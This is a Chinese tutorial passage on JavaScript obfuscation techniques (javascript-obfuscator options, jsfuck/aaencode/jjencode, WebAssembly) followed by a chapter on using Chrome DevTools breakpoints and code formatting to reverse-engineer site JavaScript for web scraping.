可以看到,混淆后的代码首先声明了一个变量 s,它的结果是一个列表,其实是 ["3", "1", "2"],然后下面通过 switch 语句对 s 中的元素进行了判断,每个 case 都加上了各自的代码逻辑。通过这样的处理,一些连续的执行逻辑就被打破了,代码被修改为一个 switch 语句,原本我们可以一眼看出的逻辑是控制台先输出 c,然后才是 a、b,但是现在我们必须要结合 switch 的判断条件和对应 case 的内容进行判断,我们很难再一眼每条语句的执行顺序了,这就大大降低了代码的可读性。

在 javascript-obfuscator 中我们通过 controlFlowFlattening 变量可以控制是否开启控制流平坦化,示例如下:

1
2
3
4
const options = {
compact: false,
controlFlowFlattening: true,
};

使用控制流平坦化可以使得执行逻辑更加复杂难读,目前非常多的前端混淆都会加上这个选项。但启用控制流平坦化之后,代码的执行时间会变长,最长达 1.5 倍之多。

另外我们还能使用 controlFlowFlatteningThreshold 这个参数来控制比例,取值范围是 0 到 1,默认 0.75,如果设置为 0,那相当于 controlFlowFlattening 设置为 false,即不开启控制流扁平化 。

无用代码注入

无用代码即不会被执行的代码或对上下文没有任何影响的代码,注入之后可以对现有的 JavaScript 代码的阅读形成干扰。我们可以使用 deadCodeInjection 参数开启这个选项,默认为 false。

比如这里有一段代码:

1
2
3
4
5
6
7
8
9
10
const a = function () {
console.log("hello world");
};

const b = function () {
console.log("nice to meet you");
};

a();
b();

这里就声明了方法 a 和 b,然后依次进行调用,分别输出两句话。

但经过无用代码注入处理之后,代码就会变成类似这样的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const _0x16c18d = function () {
if (!![[]]) {
console.log("hello world");
} else {
console.log("this");
console.log("is");
console.log("dead");
console.log("code");
}
};
const _0x1f7292 = function () {
if ("xmv2nOdfy2N".charAt(4) !== String.fromCharCode(110)) {
console.log("this");
console.log("is");
console.log("dead");
console.log("code");
} else {
console.log("nice to meet you");
}
};

_0x16c18d();
_0x1f7292();

可以看到,每个方法内部都增加了额外的 if else 语句,其中 if 的判断条件还是一个表达式,其结果是 true 还是 false 我们还不太一眼能看出来,比如说 _0x1f7292 这个方法,它的 if 判断条件是:

1
"xmv2nOdfy2N".charAt(4) !== String.fromCharCode(110)

在不等号前面其实是从字符串中取出指定位置的字符,不等号后面则调用了 fromCharCode 方法来根据 ascii 码转换得到一个字符,然后比较两个字符的结果是否是不一样的。前者经过我们推算可以知道结果是 n,但对于后者,多数情况下我们还得去查一下 ascii 码表才能知道其结果也是 n,最后两个结果是相同的,所以整个表达式的结果是 false,所以 if 后面跟的逻辑实际上就是不会被执行到的无用代码,但这些代码对我们阅读代码起到了一定的干扰作用。

因此,这种混淆方式通过混入一些特殊的判断条件并加入一些不会被执行的代码,可以对代码起到一定的混淆干扰作用。

在 javascript-obfuscator 中,我们可以通过 deadCodeInjection 参数控制无用代码的注入,配置如下:

1
2
3
4
const options = {
compact: false,
deadCodeInjection: true,
};

另外我们还可以通过设置 deadCodeInjectionThreshold 参数来控制无用代码注入的比例,取值 0 到 1,默认是 0.4。

对象键名替换

如果是一个对象,可以使用 transformObjectKeys 来对对象的键值进行替换,示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const code = `
(function(){
var object = {
foo: 'test1',
bar: {
baz: 'test2'
}
};
})();
`;
const options = {
compact: false,
transformObjectKeys: true,
};

输出结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var _0x7a5d = ["bar", "test2", "test1"];
(function (_0x59fec5, _0x2e4fac) {
var _0x231e7a = function (_0x46f33e) {
while (--_0x46f33e) {
_0x59fec5["push"](_0x59fec5["shift"]());
}
};
_0x231e7a(++_0x2e4fac);
})(_0x7a5d, 0x167);
var _0x3bc4 = function (_0x309ad3, _0x22d5ac) {
_0x309ad3 = _0x309ad3 - 0x0;
var _0x3a034e = _0x7a5d[_0x309ad3];
return _0x3a034e;
};
(function () {
var _0x9f1fd1 = {};
_0x9f1fd1["foo"] = _0x3bc4("0x0");
_0x9f1fd1[_0x3bc4("0x1")] = {};
_0x9f1fd1[_0x3bc4("0x1")]["baz"] = _0x3bc4("0x2");
})();

可以看到,Object 的变量名被替换为了特殊的变量,使得可读性变差,这样我们就不好直接通过变量名进行搜寻了,这也可以起到一定的防护作用。

禁用控制台输出

可以使用 disableConsoleOutput 来禁用掉 console.log 输出功能,加大调试难度,示例如下:

1
2
3
4
5
6
const code = `
console.log('hello world')
`;
const options = {
disableConsoleOutput: true,
};

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
var _0x3a39 = [
"debug",
"info",
"error",
"exception",
"trace",
"hello\x20world",
"apply",
"{}.constructor(\x22return\x20this\x22)(\x20)",
"console",
"log",
"warn",
];
(function (_0x2a157a, _0x5d9d3b) {
var _0x488e2c = function (_0x5bcb73) {
while (--_0x5bcb73) {
_0x2a157a["push"](_0x2a157a["shift"]());
}
};
_0x488e2c(++_0x5d9d3b);
})(_0x3a39, 0x10e);
var _0x5bff = function (_0x43bdfc, _0x52e4c6) {
_0x43bdfc = _0x43bdfc - 0x0;
var _0xb67384 = _0x3a39[_0x43bdfc];
return _0xb67384;
};
var _0x349b01 = (function () {
var _0x1f484b = !![];
return function (_0x5efe0d, _0x33db62) {
var _0x20bcd2 = _0x1f484b
? function () {
if (_0x33db62) {
var _0x77054c = _0x33db62[_0x5bff("0x0")](_0x5efe0d, arguments);
_0x33db62 = null;
return _0x77054c;
}
}
: function () {};
_0x1f484b = ![];
return _0x20bcd2;
};
})();
var _0x19f538 = _0x349b01(this, function () {
var _0x7ab6e4 = function () {};
var _0x157bff;
try {
var _0x5e672c = Function(
"return\x20(function()\x20" + _0x5bff("0x1") + ");"
);
_0x157bff = _0x5e672c();
} catch (_0x11028d) {
_0x157bff = window;
}
if (!_0x157bff[_0x5bff("0x2")]) {
_0x157bff[_0x5bff("0x2")] = (function (_0x7ab6e4) {
var _0x5a8d9e = {};
_0x5a8d9e[_0x5bff("0x3")] = _0x7ab6e4;
_0x5a8d9e[_0x5bff("0x4")] = _0x7ab6e4;
_0x5a8d9e[_0x5bff("0x5")] = _0x7ab6e4;
_0x5a8d9e[_0x5bff("0x6")] = _0x7ab6e4;
_0x5a8d9e[_0x5bff("0x7")] = _0x7ab6e4;
_0x5a8d9e[_0x5bff("0x8")] = _0x7ab6e4;
_0x5a8d9e[_0x5bff("0x9")] = _0x7ab6e4;
return _0x5a8d9e;
})(_0x7ab6e4);
} else {
_0x157bff[_0x5bff("0x2")][_0x5bff("0x3")] = _0x7ab6e4;
_0x157bff[_0x5bff("0x2")][_0x5bff("0x4")] = _0x7ab6e4;
_0x157bff[_0x5bff("0x2")]["debug"] = _0x7ab6e4;
_0x157bff[_0x5bff("0x2")][_0x5bff("0x6")] = _0x7ab6e4;
_0x157bff[_0x5bff("0x2")][_0x5bff("0x7")] = _0x7ab6e4;
_0x157bff[_0x5bff("0x2")][_0x5bff("0x8")] = _0x7ab6e4;
_0x157bff[_0x5bff("0x2")][_0x5bff("0x9")] = _0x7ab6e4;
}
});
_0x19f538();
console[_0x5bff("0x3")](_0x5bff("0xa"));

此时,我们如果执行这个代码,发现是没有任何输出的,这里实际上就是将 console 的一些功能禁用了。

调试保护

我们知道,在 JavaScript 代码中如果加入 debugger 这个关键字,那么在执行到该位置的时候控制它就会进入断点调试模式。如果在代码多个位置都加入 debugger 这个关键字,或者定义某个逻辑来反复执行 debugger,那就会不断进入断点调试模式,原本的代码无法就无法顺畅地执行了。这个过程可以称为调试保护,即通过反复执行 debugger 来使得原来的代码无法顺畅执行。

其效果类似于执行了如下代码:

1
2
3
setInterval(() => {
debugger;
}, 3000);

如果我们把这段代码粘贴到控制台,它就会反复地执行 debugger 语句进入断点调试模式,从而干扰正常的调试流程。

在 javascript-obfuscator 中可以使用 debugProtection 来启用调试保护机制,还可以使用 debugProtectionInterval 来启用无限 Debug ,使得代码在调试过程中会不断进入断点模式,无法顺畅执行,配置如下:

1
2
3
4
const options = {
debugProtection: true,
debugProtectionInterval: true,
};

混淆后的代码会不断跳到 debugger 代码的位置,使得整个代码无法顺畅执行,对 JavaScript 代码的调试形成一定的干扰。

域名锁定

我们还可以通过控制 domainLock 来控制 JavaScript 代码只能在特定域名下运行,这样就可以降低代码被模拟或盗用的风险。

示例如下:

1
2
3
4
5
6
const code = `
console.log('hello world')
`;
const options = {
domainLock: ["cuiqingcai.com"],
};

这里我们使用了 domainLock 指定了一个域名叫做 cuiqingcai.com,也就是设置了一个域名白名单,混淆后的代码结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
var _0x3203 = [
"apply",
"return\x20(function()\x20",
"{}.constructor(\x22return\x20this\x22)(\x20)",
"item",
"attribute",
"value",
"replace",
"length",
"charCodeAt",
"log",
"hello\x20world",
];
(function (_0x2ed22c, _0x3ad370) {
var _0x49dc54 = function (_0x53a786) {
while (--_0x53a786) {
_0x2ed22c["push"](_0x2ed22c["shift"]());
}
};
_0x49dc54(++_0x3ad370);
})(_0x3203, 0x155);
var _0x5b38 = function (_0xd7780b, _0x19c0f2) {
_0xd7780b = _0xd7780b - 0x0;
var _0x2d2f44 = _0x3203[_0xd7780b];
return _0x2d2f44;
};
var _0x485919 = (function () {
var _0x5cf798 = !![];
return function (_0xd1fa29, _0x2ed646) {
var _0x56abf = _0x5cf798
? function () {
if (_0x2ed646) {
var _0x33af63 = _0x2ed646[_0x5b38("0x0")](_0xd1fa29, arguments);
_0x2ed646 = null;
return _0x33af63;
}
}
: function () {};
_0x5cf798 = ![];
return _0x56abf;
};
})();
var _0x67dcc8 = _0x485919(this, function () {
var _0x276a31;
try {
var _0x5c8be2 = Function(_0x5b38("0x1") + _0x5b38("0x2") + ");");
_0x276a31 = _0x5c8be2();
} catch (_0x5f1c00) {
_0x276a31 = window;
}
var _0x254a0d = function () {
return {
key: _0x5b38("0x3"),
value: _0x5b38("0x4"),
getAttribute: (function () {
for (var _0x5cc3c7 = 0x0; _0x5cc3c7 < 0x3e8; _0x5cc3c7--) {
var _0x35b30b = _0x5cc3c7 > 0x0;
switch (_0x35b30b) {
case !![]:
return (
this[_0x5b38("0x3")] +
"_" +
this[_0x5b38("0x5")] +
"_" +
_0x5cc3c7
);
default:
this[_0x5b38("0x3")] + "_" + this[_0x5b38("0x5")];
}
}
})(),
};
};
var _0x3b375a = new RegExp("[QLCIKYkCFzdWpzRAXMhxJOYpTpYWJHPll]", "g");
var _0x5a94d2 = "cuQLiqiCInKYkgCFzdWcpzRAaXMi.hcoxmJOYpTpYWJHPll"
[_0x5b38("0x6")](_0x3b375a, "")
["split"](";");
var _0x5c0da2;
var _0x19ad5d;
var _0x5992ca;
var _0x40bd39;
for (var _0x5cad1 in _0x276a31) {
if (
_0x5cad1[_0x5b38("0x7")] == 0x8 &&
_0x5cad1[_0x5b38("0x8")](0x7) == 0x74 &&
_0x5cad1[_0x5b38("0x8")](0x5) == 0x65 &&
_0x5cad1[_0x5b38("0x8")](0x3) == 0x75 &&
_0x5cad1[_0x5b38("0x8")](0x0) == 0x64
) {
_0x5c0da2 = _0x5cad1;
break;
}
}
for (var _0x29551 in _0x276a31[_0x5c0da2]) {
if (
_0x29551[_0x5b38("0x7")] == 0x6 &&
_0x29551[_0x5b38("0x8")](0x5) == 0x6e &&
_0x29551[_0x5b38("0x8")](0x0) == 0x64
) {
_0x19ad5d = _0x29551;
break;
}
}
if (!("~" > _0x19ad5d)) {
for (var _0x2b71bd in _0x276a31[_0x5c0da2]) {
if (
_0x2b71bd[_0x5b38("0x7")] == 0x8 &&
_0x2b71bd[_0x5b38("0x8")](0x7) == 0x6e &&
_0x2b71bd[_0x5b38("0x8")](0x0) == 0x6c
) {
_0x5992ca = _0x2b71bd;
break;
}
}
for (var _0x397f55 in _0x276a31[_0x5c0da2][_0x5992ca]) {
if (
_0x397f55["length"] == 0x8 &&
_0x397f55[_0x5b38("0x8")](0x7) == 0x65 &&
_0x397f55[_0x5b38("0x8")](0x0) == 0x68
) {
_0x40bd39 = _0x397f55;
break;
}
}
}
if (!_0x5c0da2 || !_0x276a31[_0x5c0da2]) {
return;
}
var _0x5f19be = _0x276a31[_0x5c0da2][_0x19ad5d];
var _0x674f76 =
!!_0x276a31[_0x5c0da2][_0x5992ca] &&
_0x276a31[_0x5c0da2][_0x5992ca][_0x40bd39];
var _0x5e1b34 = _0x5f19be || _0x674f76;
if (!_0x5e1b34) {
return;
}
var _0x593394 = ![];
for (var _0x479239 = 0x0; _0x479239 < _0x5a94d2["length"]; _0x479239++) {
var _0x19ad5d = _0x5a94d2[_0x479239];
var _0x112c24 = _0x5e1b34["length"] - _0x19ad5d["length"];
var _0x51731c = _0x5e1b34["indexOf"](_0x19ad5d, _0x112c24);
var _0x173191 = _0x51731c !== -0x1 && _0x51731c === _0x112c24;
if (_0x173191) {
if (
_0x5e1b34["length"] == _0x19ad5d[_0x5b38("0x7")] ||
_0x19ad5d["indexOf"](".") === 0x0
) {
_0x593394 = !![];
}
}
}
if (!_0x593394) {
data;
} else {
return;
}
_0x254a0d();
});
_0x67dcc8();
console[_0x5b38("0x9")](_0x5b38("0xa"));

这段代码就只能在指定域名 cuiqingcai.com 下运行,不能在其他网站运行。这样的话,如果一些相关 JavaScript 代码被单独剥离出来,想在其他网站运行或者使用程序模拟运行的话,运行结果只有是失败,这样就可以有效降低被代码被模拟或盗用的风险。

特殊编码

另外还有一些特殊的工具包,如使用 aaencode、jjencode、jsfuck 等工具对代码进行混淆和编码。

示例如下:

1
var a = 1

jsfuck 的结果:

1
2
3
[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]([][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+
...
([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!+[]+!![]]+([]+{})[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]])(!+[]+!![]+!![]+!![]+!![]))[!+[]+!![]+!![]]+([][[]]+[])[!+[]+!![]+!![]])(!+[]+!![]+!![]+!![]+!![])(([]+{})[+[]])[+[]]+(!+[]+!![]+!![]+[])+([][[]]+[])[!+[]+!![]])+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+(+!![]+[]))(!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![])

aaencode 的结果:

1
゚ω゚ノ= /`m´)ノ ~┻━┻   / ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚o゚])(゚Θ゚))((゚Θ゚)+(゚Д゚)[゚ε゚]+((゚ー゚)+(゚Θ゚))+(゚Θ゚)+(゚Д゚)[゚o゚]);

jjencode 的结果:

1
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+"\\"+$.__$+$.$$_+$.$$_+$.$_$_+"\\"+$.__$+$.$$_+$._$_+"\\"+$.$__+$.___+$.$_$_+"\\"+$.$__+$.___+"=\\"+$.$__+$.___+$.__$+"\"")())();

可以看到,通过这些工具,原本非常简单的代码被转化为一些几乎完全不可读的代码,但实际上运行效果还是相同的。这些混淆方式比较另类,看起来虽然没有什么头绪,但实际上找到规律是非常好还原的,其没有真正达到强力混淆的效果。

以上便是对 JavaScript 混淆方式的介绍和总结。总的来说,经过混淆的 JavaScript 代码其可读性大大降低,同时防护效果也大大增强。

6. WebAssembly

随着技术的发展,WebAssembly 逐渐流行起来。不同于 JavaScript 混淆技术, WebAssembly 其基本思路是将一些核心逻辑使用其他语言(如 C/C++ 语言)来编写,并编译成类似字节码的文件,并通过 JavaScript 调用执行,从而起到二进制级别的防护作用。

WebAssembly 是一种可以使用非 JavaScript 编程语言编写代码并且能在浏览器上运行的技术方案,比如借助于我们能将 C/C++ 利用 Emscripten 编译工具转成 wasm 格式的文件, JavaScript 可以直接调用该文件执行其中的方法。

WebAssembly 是经过编译器编译之后的字节码,可以从 C/C++ 编译而来,得到的字节码具有和 JavaScript 相同的功能,运行速度更快,体积更小,而且在语法上完全脱离 JavaScript,同时具有沙盒化的执行环境。

比如这就是一个基本的 WebAssembly 示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
WebAssembly.compile(
new Uint8Array(
`
00 61 73 6d 01 00 00 00 01 0c 02 60 02 7f 7f 01
7f 60 01 7f 01 7f 03 03 02 00 01 07 10 02 03 61
64 64 00 00 06 73 71 75 61 72 65 00 01 0a 13 02
08 00 20 00 20 01 6a 0f 0b 08 00 20 00 20 00 6c
0f 0b`
.trim()
.split(/[\s\r\n]+/g)
.map((str) => parseInt(str, 16))
)
).then((module) => {
const instance = new WebAssembly.Instance(module);
const { add, square } = instance.exports;
console.log("2 + 4 =", add(2, 4));
console.log("3^2 =", square(3));
console.log("(2 + 5)^2 =", square(add(2 + 5)));
});

这里其实是利用 WebAssembly 定义了两个方法,分别是 add 和 square,可以分别用于求和和开平方计算。那这两个方法在哪里声明的呢?其实它们被隐藏在了一个 Uint8Array 里面,仅仅查看明文代码我们确实无从知晓里面究竟定义了什么逻辑,但确实是可以执行的,我们将这段代码输入到浏览器控制台下,运行结果如下:

1
2
3
2 + 4 = 6
3^2 = 9
(2 + 5)^2 = 49

由此可见,通过 WebAssembly 我们可以成功将核心逻辑“隐藏”起来,这样某些核心逻辑就不能被轻易找出来了。

所以,很多网站越来越多使用 WebAssembly 技术来保护一些核心逻辑不被轻易被人识别或破解,可以起到更好的防护效果。

7. 总结

以上,我们就介绍了接口加密技术和 JavaScript 的压缩、混淆技术,也对 WebAssembly 技术有了初步的了解,知己知彼方能百战不殆,了解了原理,我们才能更好地去实现 JavaScript 的逆向。

本节代码:https://github.com/Python3WebSpider/JavaScriptObfuscate

由于本节涉及一些专业名词,部分内容参考来源如下:

  • GitHub - javascript-obfuscator 官方 GitHub 仓库:https://github.com/javascript-obfuscator/javascript-obfuscator
  • 官网 - javascript-obfuscator 官网:https://obfuscator.io/
  • 博客 - asm.js 和 Emscripten 入门教程:https://www.ruanyifeng.com/blog/2017/09/asmjs_emscripten.html
  • 博客 - JavaScript 混淆安全加固:https://juejin.im/post/5cfcb9d25188257e853fa71c

Python

系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

前面一节我们了解了 JavaScript 的压缩、混淆等技术,现在越来越多的网站也已经应用了这些技术对其数据接口进行了保护,在做爬虫时如果我们遇到了这种情况,我们可能就不得不硬着头皮来去想方设法找出其中隐含的关键逻辑了,这个过程我们可以称之为 JavaScript 逆向。

既然我们要做 JavaScript 逆向,那少不了要用到浏览器的开发者工具,因为网页是在浏览器中加载的,所以多数的调试过程也是在浏览器中完成的。

工欲善其事,必先利其器。本节我们先来基于 Chrome 浏览器介绍一下浏览器开发者工具的使用。但由于开发者工具功能十分复杂,本节主要介绍对 JavaScript 逆向有一些帮助的功能,学会了这些,我们在做 JavaScript 逆向调试的过程会更加得心应手。

本节我们以一个示例网站 https://spa2.scrape.center/ 来做演示,用这个示例来介绍浏览器开发者工具各个面版的用法。

1. 面板介绍

首先我们用 Chrome 浏览器打开示例网站,页面如图所示:

示例网站页面

接下来打开开发者工具,我们会看到类似图 xx 所示的结果。

打开开发者工具

这里可以看到多个面板标签,如 Elements、Console、Sources 等,这就是开发者工具的一个个面板,功能丰富而又强大,先对面板作下简单的介绍:

  • Elements:元素面板,用于查看或修改当前网页 HTML 节点的属性、CSS 属性、监听事件等等,HTML 和 CSS 都可以即时修改和即时显示。
  • Console:控制台面板,用于查看调试日志或异常信息。另外我们还可以在控制台输入 JavaScript 代码,方便调试。
  • Sources:源代码面板,用于查看页面的 HTML 文件源代码、JavaScript 源代码、CSS 源代码,还可以在此面板对 JavaScript 代码进行调试,比如添加和修改 JavaScript 断点,观察 JavaScript 变量变化等。
  • Network:网络面板,用于查看页面加载过程中的各个网络请求,包括请求、响应等各个详情。
  • Performance:性能面板,用于记录和分析页面在运行时的所有活动,比如 CPU 占用情况,呈现页面性能分析结果,
  • Memory:内存面板,用于记录和分析页面占用内存情况,如查看内存占用变化,查看 JavaScript 对象和 HTML 节点的内存分配。
  • Application:应用面板,用于记录网站加载的所有资源信息,如存储、缓存、字体、图片等,同时也可以对一些资源进行修改和删除。
  • Lighthouse:审核面板,用于分析网络应用和网页,收集现代性能指标并提供对开发人员最佳实践的意见。

了解了这些面板之后,我们来深入了解几个面板中对 JavaScript 调试很有帮助的功能。

2. 查看节点事件

之前我们是用 Elements 面板来审查页面的节点信息的,我们可以查看当前页面的 HTML 源代码及其在网页中对应的位置,查看某个条目的标题对应的页面源代码,如图所示。

查看源代码

点击右侧的 Styles 选项卡,可以看到对应节点的 CSS 样式,我们可以自行在这里增删样式,实时预览效果,这对网页开发十分有帮助。

在 Computed 选项卡中还可以看到当前节点的盒子模型,比如外边距、内边距等,还可以看到当前节点最终计算出的 CSS 的样式,如图所示。

盒子模型

接下来切换到右侧的 Event Listeners 选项卡,这里可以显示各个节点当前已经绑定的事件,都是 JavaScript 原生支持的,下面简单列举几个事件。

  • change:HTML 元素改变时会触发的事件。
  • click:用户点击 HTML 元素时会触发的事件。
  • mouseover:用户在一个 HTML 元素上移动鼠标会触发的事件。
  • mouseout:用户从一个 HTML 元素上移开鼠标会触发的事件。
  • keydown:用户按下键盘按键会触发的事件。
  • load:浏览器完成页面加载时会触发的事件。

通常,我们会给按钮绑定一个点击事件,它的处理逻辑一般是由 JavaScript 定义的,这样在我们点击按钮的时候,对应的 JavaScript 代码便会执行。比如在图 xx 中,我们选中切换到第 2 页的节点,右侧 Event Listeners 选项卡下会看到它绑定的事件。

选中切换到第 2 页的节点

这里有对应事件的代码位置,内容为一个 JavaScript 文件名称 chunk-vendors.77daf991.js,然后紧跟一个冒号,然后再跟了一个数字 7。所以对应的事件处理函数是定义在 chunk-vendors.77daf991.js 这个文件的第 7 行。点击这个代码位置,便会自动跳转 Sources 面板,打开对应的 chunk-vendors.77daf991.js 文件并跳转到对应的位置,如图所示。

跳转到对应的代码位置

所以,利用好 Event Listeners,我们可以轻松地找到各个节点绑定事件的处理方法所在的位置,帮我们在 JavaScript 逆向过程中找到一些突破口。

3. 代码美化

刚才我们已经通过 Event Listeners 找到了对应的事件处理方法所在的位置并成功跳转到了代码所在的位置。

但是,这部分代码似乎被压缩过了,可读性很差,根本没法阅读,这时候应该怎么办呢?

不用担心,Sources 面板提供了一个便捷好用的代码美化功能。我们点击代码面板左下角的格式化按钮,代码就会变成如图所示的样子。

代码格式化按钮

格式化后的代码

此时会新出现一个叫作 chunk-vendors.77daf991.js:formatted 的选项卡,文件名后面加了 formatted 标识,代表这是被格式化的结果。我们会发现,原来代码在第 7 行,现在自动对应到了第 4445 行,而且对应的代码位置会高亮显示,代码可读性大大增强!

这个功能在调试过程中非常常用,用好这个功能会给我们的 JavaScript 调试过程带来极大的便利。

4. 断点调试

接下来介绍一个非常重要的功能——断点调试。在调试代码的时候,我们可以在需要的位置上打断点,当对应事件触发时,浏览器就会自动停在断点的位置等待调试,此时我们可以选择单步调试,在面板中观察调用栈、变量值,以更好地追踪对应位置的执行逻辑。

那么断点怎么打呢?我们接着以上面的例子来说。首先单击如图所示的代码行号。

单击代码行号

这时候行号处就出现了一个蓝色的箭头,这就证明断点已经添加好了,同时在右侧的 Breakpoints 选项卡下会出现我们添加的断点的列表。

由于我们知道这个断点是用来处理翻页按钮的点击事件的,所以可以在网页里面点击按钮试一下,比如点击第 2 页的按钮,这时候就会发现断点被触发了,如图所示。

断点被触发

这时候我们可以看到页面中显示了一个叫作 Paused in debugger 的提示,这说明浏览器执行到刚才我们设置断点的位置处就不再继续执行了,等待我们发号施令执行调试。

此时代码停在了第 4446 行,回调参数 e 就是对应的点击事件 MouseEvent 。在右侧的 Scope 面板处,可以观察到各个变量的值,比如在 Local 域下有当前方法的局部变量,我们可以在这里看到 MouseEvent 的各个属性,如图所示。

查看 Local 域

另外我们关注到有一个方法 o,它在 Jr 方法下面,所以切换到 Closure(Jr) 域可以查看它的定义及其接收的参数,如图所示。

查看 Closure(Jr) 域

我们可以看到,FunctionLocation 又指向了方法 o ,点击之后便又可以跳到指定位置,用同样的方式进行断点调试即可。

